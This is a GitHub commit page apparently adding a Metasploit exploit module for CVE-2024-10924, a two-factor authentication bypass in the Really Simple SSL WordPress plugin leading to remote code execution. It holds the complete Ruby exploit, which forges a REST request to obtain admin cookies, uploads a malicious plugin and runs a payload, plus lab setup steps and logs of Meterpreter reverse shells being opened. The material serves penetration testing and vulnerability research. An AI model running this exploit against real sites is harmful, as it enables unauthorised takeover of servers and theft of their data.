Skip to content

Commit

Permalink
Land #19661, WordPress Really Simple Security Plugin RCE (CVE-2024-10924
Browse files Browse the repository at this point in the history
)
  • Loading branch information
jheysel-r7 authored Dec 7, 2024
2 parents 0d92346 + 8f274f0 commit 6cfc18a
Show file tree
Hide file tree
Showing 3 changed files with 338 additions and 0 deletions.
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -66,3 +66,4 @@ give
ultimate-member
wp-fastest-cache
post-smtp
really-simple-ssl
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
## Vulnerable Application

The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack.
This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance.

### Pre-requisites:
- **Docker** and **Docker Compose** installed on your system.


### Setup Instructions

1. **Download the Docker Compose file**:
Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database.

```yaml
version: '3.1'

services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini

db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:
```
2. **Add custom PHP configuration**:
- Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

3. **Start the Docker environment**:
- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services:

```bash
docker-compose up -d
```

4. **Install and activate the plugin**:
- Download the vulnerable version of **Really Simple SSL**:
```bash
wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip
```
- Extract the plugin:
```bash
unzip really-simple-ssl.9.1.1.zip
```
- Copy the plugin files to the WordPress container:
```bash
docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/
```
- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel.

5. **Enable Two-Factor Authentication**:
- Go to **Settings > Really Simple Security**.
- Activate **Two-Factor Authentication**.


## Verification Steps

1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin.
2. **Start Metasploit** using the command `msfconsole`.
3. Use the correct module for the vulnerability:

```bash
use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce
```

4. Set the target's IP and URI:

```bash
set RHOSTS <target_ip>
set TARGETURI /
```

5. **Run the module**:

```bash
run
```

6. **Verify the Authentication Bypass**:
- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator.

## Options

### USERID

The user ID to target for 2FA bypass (default: 1)

## Scenarios

### Example 1: PHP Meterpreter (ARCH_PHP)

```bash
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected vulnerable plugin slug: really-simple-ssl
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
[*] 2FA bypass successful. Uploading plugin...
[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php...
[*] Sending stage (40004 bytes) to 172.18.0.3
[+] Deleted ajax_pottw.php
[+] Deleted wp_1ftvf.php
[+] Deleted ../wp_1ftvf
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100
meterpreter > sysinfo
Computer : a8dddfbbb9e2
OS : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
```

### Example 2: Linux Command Shell (ARCH_CMD)

```bash
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected vulnerable plugin slug: really-simple-ssl
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
[*] 2FA bypass successful. Uploading plugin...
[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php...
[*] Sending stage (3045380 bytes) to 172.18.0.3
[+] Deleted ajax_gjreh.php
[+] Deleted wp_3wbfa.php
[+] Deleted ../wp_3wbfa
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100
meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 11.8 (Linux 5.15.0-125-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
168 changes: 168 additions & 0 deletions modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin
(versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and
uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,
2FA must be enabled on the target site; otherwise, the exploit will not work.
},
'Author' => [
'Valentin Lobstein', # Metasploit module
'István Márton' # Vulnerability discovery
],
'References' => [
['CVE', '2024-10924'],
['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[unix linux win php],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1])
]
)
end

def check
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

print_status("WordPress Version: #{wordpress_version}") if wordpress_version

%w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|
plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0')
case plugin_check.code
when 'appears'
return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.")
when 'safe'
return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.")
end
end

CheckCode::Unknown('No vulnerable plugins were detected.')
end

def exploit
admin_cookie = bypass_2fa
fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookie') unless admin_cookie

print_status('2FA bypass successful. Uploading plugin...')
upload_and_execute_payload(admin_cookie)
rescue StandardError => e
fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}")
end

def bypass_2fa
user_id = datastore['USER_ID']
login_nonce = Rex::Text.rand_text_numeric(10)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => {
'user_id' => user_id,
'login_nonce' => login_nonce,
'redirect_to' => '/wp-admin/'
}.to_json,
'vars_get' => {
'rest_route' => '/reallysimplessl/v1/two_fa/skip_onboarding'
}
})

fail_with(Failure::Unreachable, 'No response from the target') unless res

case res.code
when 404
fail_with(Failure::NotVulnerable, '2FA is not enabled or the plugin is misconfigured.')
when 200
cookies = extract_cookies(res.get_cookies)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.') unless cookies
return cookies
else
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.")
end
end

def extract_cookies(cookie_header)
match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
return match[1] if match

nil
end

def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded

print_status("Executing the payload at #{payload_uri}...")

register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end

0 comments on commit 6cfc18a

Please sign in to comment.